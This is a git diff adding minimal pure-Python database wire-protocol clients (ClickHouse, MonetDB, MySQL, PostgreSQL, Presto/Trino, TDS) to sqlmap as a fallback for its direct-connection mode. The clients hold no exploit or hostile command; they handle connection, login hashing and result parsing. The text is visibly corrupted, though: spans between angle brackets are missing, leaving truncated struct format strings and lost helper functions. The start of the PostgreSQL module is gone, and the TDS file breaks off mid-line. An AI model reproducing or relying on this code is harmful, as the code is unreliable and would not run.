b/extra/dbwire/__init__.py new file mode 100644 index 00000000000..e48a84e4d53 --- /dev/null +++ b/extra/dbwire/__init__.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for +sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed. + +Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole +compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum; +a MySQL client serves MariaDB/TiDB/Aurora; a TDS client serves MSSQL/Sybase. Each module exposes a small +PEP 249 (DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()). +""" + +__version__ = "0.1" + +apilevel = "2.0" +threadsafety = 1 +paramstyle = "pyformat" + +# PEP 249 exception hierarchy (shared by every wire module) +class Error(Exception): + pass + +class InterfaceError(Error): + pass + +class DatabaseError(Error): + pass + +class OperationalError(DatabaseError): + pass + +class DataError(DatabaseError): + pass + +class IntegrityError(DatabaseError): + pass + +class ProgrammingError(DatabaseError): + pass + +class InternalError(DatabaseError): + pass + +class NotSupportedError(DatabaseError): + pass diff --git a/extra/dbwire/clickhouse.py b/extra/dbwire/clickhouse.py new file mode 100644 index 00000000000..5d808d4a5ad --- /dev/null +++ b/extra/dbwire/clickhouse.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect). + +ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a +chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with +backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks. +""" + +import base64 + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +def _unescape(value): + if value == "\\N": + return None + if "\\" not in value: + return value + out, it = [], iter(range(len(value))) + i = 0 + n = len(value) + while i < n: + ch = value[i] + if ch == "\\" and i + 1 < n: + nxt = value[i + 1] + out.append({"t": "\t", "n": "\n", "r": "\r", "0": "\0", "\\": "\\", "'": "'"}.get(nxt, nxt)) + i += 2 + else: + out.append(ch) + i += 1 + return "".join(out) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._url = "http://%s:%d/?database=%s&default_format=TabSeparatedWithNames" % (host, port, database or "default") + self._headers = {} + if user or password: + token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + self._timeout = timeout + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # ClickHouse statements are executed immediately (no client-side transaction) + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _query(self, query): + req = Request(self._url, data=query.encode("utf-8"), headers=self._headers) + try: + body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace") + except HTTPError as ex: + raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip()) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + + if not body: + return None, [] + lines = body.split("\n") + if lines and lines[-1] == "": + lines.pop() + if not lines: + return None, [] + description = [(name, None, None, None, None, None, None) for name in (_unescape(_) for _ in lines[0].split("\t"))] + rows = [tuple(_unescape(_) for _ in line.split("\t")) for line in lines[1:]] + return description, rows + +def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials up front + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/monetdb.py b/extra/dbwire/monetdb.py new file mode 100644 index 00000000000..37f6db5c020 --- /dev/null +++ b/extra/dbwire/monetdb.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python MonetDB MAPI client (stdlib only, no pymonetdb). + +MAPI is a block-framed text protocol: a 2-byte little-endian header (length << 1 | last-flag) wraps each +block; login is a colon-separated challenge/response with a chosen password hash; queries are sent with an +'s' prefix and results come back as '&' headers, '%' metadata and '[' tuples. Paging is disabled up front +(Xreply_size -1) so a whole result set arrives at once. +""" + +import hashlib +import re +import socket +import struct + +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAX_BLOCK = 0xffff >> 1 + +def _recvn(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + +def _getblock(sock): + out = b"" + while True: + (header,) = struct.unpack("> 1, header & 1 + out += _recvn(sock, length) + if last: + break + return out.decode("utf-8", "replace") + +def _putblock(sock, text): + data = text.encode("utf-8") + off = 0 + while True: + chunk = data[off:off + _MAX_BLOCK] + off += _MAX_BLOCK + last = off >= len(data) + sock.sendall(struct.pack("= 2 and value[0] == '"' and value[-1] == '"': + body = value[1:-1] + if "\\" not in body: + return body + # MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only + # on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding) + return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg + for seg in re.split(r"([\x00-\x7f]+)", body)) + return value + +def _parse_result(text): + description, rows = None, [] + for line in text.split("\n"): + if not line: + continue + marker = line[0] + if marker == "!": # error + raise ProgrammingError("(remote) %s" % line[1:].strip()) + elif marker == "%": # metadata: " # " + payload, _, kind = line[1:].rpartition("#") + if kind.strip() == "name": + description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")] + elif marker == "[": # tuple: "[ v1,\tv2,\t... ]" + body = line.strip() + if body.startswith("[") and body.endswith("]"): + body = body[1:-1].strip() + rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t"))) + # "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes + return description, rows + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _command(self, text): + _putblock(self._sock, text) + reply = _getblock(self._sock) + if reply.startswith("!"): + raise OperationalError("(remote) %s" % reply[1:].strip()) + + def _query(self, query): + try: + _putblock(self._sock, "s" + query + ";\n") + return _parse_result(_getblock(self._sock)) + except (socket.error, socket.timeout) as ex: + raise OperationalError("connection error: %s" % ex) + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + +def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + host, port = host or "localhost", int(port or 50000) + try: + sock = socket.create_connection((host, port), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + for _ in range(10): # bounded: merovingian proxy stage + optional redirect + mserver challenge + block = _getblock(sock) + if block == "": # login accepted + break + if block[0] == "^": # redirect + url = block[1:].strip() + m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url) + if m and (m.group(1) != host or int(m.group(2)) != port): + sock.close() + host, port, database = m.group(1), int(m.group(2)), m.group(3) or database + sock = socket.create_connection((host, port), timeout=connect_timeout) + sock.settimeout(None) + continue # merovingian proxy redirect: keep reading the next challenge on this socket + if block[0] == "!": + raise OperationalError("(remote) %s" % block[1:].strip()) + _putblock(sock, _challenge_response(block, user, password, database)) + else: + raise OperationalError("MonetDB login did not converge") + except (OperationalError, NotSupportedError, InterfaceError): + try: + sock.close() + except Exception: + pass + raise + except (socket.error, socket.timeout) as ex: # I/O error during the login/redirect exchange + try: + sock.close() + except Exception: + pass + raise OperationalError("connection error: %s" % ex) + + connection = Connection(sock) + try: + connection._command("Xreply_size -1\n") # disable row paging so a whole result set is returned at once + except (socket.error, socket.timeout) as ex: + connection.close() + raise OperationalError("connection error: %s" % ex) + return connection diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py new file mode 100644 index 00000000000..ba497b7d68a --- /dev/null +++ b/extra/dbwire/mysql.py @@ -0,0 +1,335 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python MySQL client/server protocol client (stdlib only). + +Covers the whole MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth: +mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a +plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a +mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path. +""" + +import hashlib +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +# capability flags +_CLIENT_LONG_PASSWORD = 0x00000001 +_CLIENT_LONG_FLAG = 0x00000004 +_CLIENT_CONNECT_WITH_DB = 0x00000008 +_CLIENT_PROTOCOL_41 = 0x00000200 +_CLIENT_TRANSACTIONS = 0x00002000 +_CLIENT_SECURE_CONNECTION = 0x00008000 +_CLIENT_PLUGIN_AUTH = 0x00080000 + +_MAX_PACKET = 0x1000000 +_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream +_BINARY_CHARSET = 63 # collation id 63 == 'binary' (BLOB/BINARY/VARBINARY columns) + +def _xor(a, b): + if str is bytes: # Python 2 + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _u8(data, off): + return struct.unpack(" _MAX_MESSAGE_LENGTH: + raise InterfaceError("backend message too large (%d bytes)" % total) + payload += _recvn(sock, length) + return seq, payload + +def _send_packet(sock, seq, payload): + while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet) + chunk = payload[:0xffffff] + sock.sendall(struct.pack(" len(data): + raise InterfaceError("length-encoded string overruns packet") + return data[off:off + length], off + length + +def _err_message(payload): + # ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message + off = 3 + if payload[3:4] == b"#": + off = 9 + return payload[off:].decode("utf-8", "replace") + +def _scramble_native(password, salt): + if not password: + return b"" + stage1 = hashlib.sha1(password.encode("utf-8")).digest() + stage2 = hashlib.sha1(stage1).digest() + return _xor(stage1, hashlib.sha1(salt + stage2).digest()) + +def _scramble_sha2(password, salt): + if not password: + return b"" + d1 = hashlib.sha256(password.encode("utf-8")).digest() + d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest() + return _xor(d1, d2) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model + + def rollback(self): + pass + + def close(self): + try: + _send_packet(self._sock, 0, b"\x01") # COM_QUIT + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + _send_packet(self._sock, 0, b"\x03" + query.encode("utf-8")) # COM_QUERY + try: + return self._read_query_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _read_query_response(self): + seq, payload = _read_packet(self._sock) + first = _u8(payload, 0) + + if first == 0xff: # ERR + raise ProgrammingError("(remote) %s" % _err_message(payload)) + if first == 0x00 or (first == 0xfe and len(payload) < 9): # OK packet (no result set) + affected, _ = _lenc_int(payload, 1) + return None, [], (affected if affected is not None else -1) + if first == 0xfb: # LOCAL INFILE request + raise NotSupportedError("LOCAL INFILE is not supported") + + column_count, _ = _lenc_int(payload, 0) + description, binary = [], [] + for _ in range(column_count): + _, cpay = _read_packet(self._sock) + off = 0 + for _ in range(4): # catalog, schema, table, org_table + _, off = _lenc_str(cpay, off) + name, off = _lenc_str(cpay, off) # name + _, off = _lenc_str(cpay, off) # org_name + _, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c) + charset = struct.unpack(" end of rows + break + if _u8(payload, 0) == 0xff: + raise ProgrammingError("(remote) %s" % _err_message(payload)) + off, row = 0, [] + for i in range(column_count): + value, off = _lenc_str(payload, off) + if value is None: + row.append(None) + elif binary[i]: + row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them) + else: + row.append(value.decode("utf-8", "replace")) + rows.append(tuple(row)) + return description, rows, len(rows) + +def _finish_auth(sock, password, plugin, salt): + # read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2 + while True: + seq, payload = _read_packet(sock) + marker = _u8(payload, 0) + if marker == 0x00: # OK + return + if marker == 0xff: # ERR + raise OperationalError("(remote) %s" % _err_message(payload)) + if marker == 0xfe: # AuthSwitchRequest: \x00 + plugin, off = _cstring(payload, 1) + plugin = plugin.decode("ascii", "replace") + salt = payload[off:].rstrip(b"\x00") + if plugin == "mysql_native_password": + data = _scramble_native(password, salt) + elif plugin == "caching_sha2_password": + data = _scramble_sha2(password, salt) + else: + raise NotSupportedError("unsupported authentication plugin '%s'" % plugin) + _send_packet(sock, seq + 1, data) + elif marker == 0x01: # AuthMoreData (caching_sha2) + status = _u8(payload, 1) + if status == 0x03: # fast auth success -> OK packet follows + continue + elif status == 0x04: # full auth required (needs TLS or RSA - not available stdlib-only) + raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection " + "requires RSA/TLS; use a mysql_native_password account for the dependency-free client") + else: + raise OperationalError("unexpected caching_sha2 auth status %d" % status) + else: + raise InterfaceError("unexpected authentication response 0x%02x" % marker) + +def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + seq, payload = _read_packet(sock) + if _u8(payload, 0) == 0xff: + raise OperationalError("(remote) %s" % _err_message(payload)) + + off = 1 # protocol version (10) + _, off = _cstring(payload, off) # server version + off += 4 # connection id + salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler) + off += 2 # capability flags (lower) + off += 1 # character set + off += 2 # status flags + off += 2 # capability flags (upper) + auth_data_len = _u8(payload, off); off += 1 + off += 10 # reserved + salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL) + off += max(13, auth_data_len - 8) + plugin = "mysql_native_password" + if off < len(payload): + name, _ = _cstring(payload, off) + plugin = name.decode("ascii", "replace") or plugin + + if plugin == "caching_sha2_password": + auth_response = _scramble_sha2(password or "", salt) + else: + plugin = "mysql_native_password" + auth_response = _scramble_native(password or "", salt) + + flags = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 | + _CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH) + if database: + flags |= _CLIENT_CONNECT_WITH_DB + response = struct.pack(" DB-API exception, so callers can distinguish (mirrors psycopg2) +_SQLSTATE_CLASS = { + "22": DataError, "23": IntegrityError, + "08": OperationalError, "28": OperationalError, "53": OperationalError, + "57": OperationalError, "58": OperationalError, +} + +def _xor(a, b): + # byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe) + if str is bytes: # Python 2: iterating bytes yields 1-char strings + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _recvn(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + +def _read_message(sock): + mtype = _recvn(sock, 1) + (length,) = struct.unpack("!I", _recvn(sock, 4)) + if length < 4 or length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid backend message length (%d)" % length) + return mtype, _recvn(sock, length - 4) + +def _send(sock, mtype, payload): + sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload) + +def _error_message(payload): + # ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte. + # Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()). + fields, off = {}, 0 + while off < len(payload) and payload[off:off + 1] != b"\x00": + code = payload[off:off + 1] + end = payload.find(b"\x00", off + 1) + if end == -1: + break + fields[code] = payload[off + 1:end].decode("utf-8", "replace") + off = end + 1 + return fields.get(b"M", "unknown error"), fields.get(b"C", "") + +def _raise_server_error(message, sqlstate): + raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 # reset before (a failed) query + self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # simple-query protocol commits each statement implicitly + + def rollback(self): + pass + + def close(self): + try: + _send(self._sock, b"X", b"") # Terminate + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _simple_query(self, query): + _send(self._sock, b"Q", query.encode("utf-8") + b"\x00") + + description, rows, rowcount, error = None, [], -1, None + while True: + mtype, payload = _read_message(self._sock) + try: + if mtype == b"T": # RowDescription (a new result set: reset rows so we return only the last one) + (count,) = struct.unpack("!H", payload[:2]) + description, rows, rowcount, off = [], [], -1, 2 + for _ in range(count): + end = payload.index(b"\x00", off) + name = payload[off:end].decode("utf-8", "replace") + off = end + 1 + (typeoid,) = struct.unpack("!I", payload[off + 6:off + 10]) + off += 18 # tableoid4 colno2 typeoid4 typelen2 typmod4 format2 + description.append((name, typeoid, None, None, None, None, None)) + elif mtype == b"D": # DataRow + (count,) = struct.unpack("!H", payload[:2]) + off, row = 2, [] + for _ in range(count): + (vlen,) = struct.unpack("!i", payload[off:off + 4]) + off += 4 + if vlen == -1: + row.append(None) + else: + if off + vlen > len(payload): + raise InterfaceError("truncated DataRow") + row.append(payload[off:off + vlen].decode("utf-8", "replace")) + off += vlen + rows.append(tuple(row)) + elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...) + tag = payload[:-1].decode("utf-8", "replace").split() + if tag and tag[-1].isdigit(): + rowcount = int(tag[-1]) + elif mtype == b"G": # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock + _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail + elif mtype == b"E": # ErrorResponse + error = _error_message(payload) + elif mtype == b"Z": # ReadyForQuery (end of response) + break + # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed backend message: %s" % ex) + if error is not None: + _raise_server_error(*error) + return description, rows, 0, rowcount + +def _authenticate(sock, user, password): + cfirst_bare = None + while True: + mtype, payload = _read_message(sock) + if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk + continue + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype != b"R": + raise InterfaceError("unexpected message %r during authentication" % mtype) + (code,) = struct.unpack("!I", payload[:4]) + if code == 0: # AuthenticationOk (also the trust case) + return + elif code == 3: # cleartext password + _send(sock, b"p", (password or "").encode("utf-8") + b"\x00") + elif code == 5: # MD5 password + salt = payload[4:8] + inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest() + token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii") + _send(sock, b"p", token + b"\x00") + elif code == 10: # SASL (SCRAM-SHA-256) + if not hasattr(hashlib, "pbkdf2_hmac"): + raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)") + nonce = base64.b64encode(os.urandom(18)).decode("ascii") + cfirst_bare = "n=,r=%s" % nonce + client_first = "n,," + cfirst_bare + _send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii")) + elif code == 11: # SASLContinue (server-first) + try: + server_first = payload[4:].decode("ascii") + attrs = dict(kv.split("=", 1) for kv in server_first.split(",")) + snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"]) + except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex: + raise OperationalError("malformed SCRAM server-first message (%s)" % ex) + salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations) + client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest() + stored_key = hashlib.sha256(client_key).digest() + client_final_noproof = "c=biws,r=%s" % snonce + auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof) + client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest() + proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii") + _send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii")) + elif code == 12: # SASLFinal + pass + else: + raise InterfaceError("unsupported authentication request %d" % code) + +def _raise_server_error_as_operational(payload): + message, _ = _error_message(payload) + raise OperationalError("(remote) %s" % message) + +def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + params = b"" + for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")): + params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00" + params += b"\x00" + _send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params) + + try: + _authenticate(sock, user, password) + while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse) + mtype, payload = _read_message(sock) + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype == b"Z": + break + except Exception: # any setup failure (DB-API or otherwise) must still close the socket + try: + sock.close() + except Exception: + pass + raise + + return Connection(sock) diff --git a/extra/dbwire/presto.py b/extra/dbwire/presto.py new file mode 100644 index 00000000000..a0857e1ef32 --- /dev/null +++ b/extra/dbwire/presto.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no +presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying +'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-* +headers are sent so the same client works against Presto and Trino. +""" + +import base64 +import json +import time + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, catalog, schema, timeout): + self._statement_url = "http://%s:%d/v1/statement" % (host, port) + self._timeout = timeout + self._headers = {"Content-Type": "text/plain"} + for prefix in ("X-Presto-", "X-Trino-"): + self._headers[prefix + "User"] = user or "sqlmap" + self._headers[prefix + "Catalog"] = catalog or "" + self._headers[prefix + "Schema"] = schema or "default" + self._headers[prefix + "Source"] = "dbwire" + if password: + token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + + def cursor(self): + return Cursor(self) + + def commit(self): + pass + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _request(self, url, data=None): + req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers) + try: + body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace") + except HTTPError as ex: + raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200])) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + try: + return json.loads(body) + except ValueError as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _query(self, query): + page = self._request(self._statement_url, data=query) + columns, rows = None, [] + while True: + if page.get("error"): + message = page["error"].get("message", "unknown error") + raise ProgrammingError("(remote) %s" % message) + if page.get("columns") and columns is None: + columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]] + for row in page.get("data") or []: + rows.append(tuple(row)) + next_uri = page.get("nextUri") + if not next_uri: + break + page = self._request(next_uri) + return columns, rows + +def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py new file mode 100644 index 00000000000..3c3bd3a12ff --- /dev/null +++ b/extra/dbwire/tds.py @@ -0,0 +1,466 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server / Sybase (stdlib only). + +Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption +would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7, +SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and +their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so +sqlmap hex-encodes them). +""" + +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAX_MESSAGE_LENGTH = 0x40000000 + +# packet types +_PKT_SQL_BATCH = 0x01 +_PKT_LOGIN7 = 0x10 +_PKT_PRELOGIN = 0x12 +_STATUS_EOM = 0x01 + +def _u8(data, off): + return struct.unpack("= len(data) + header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 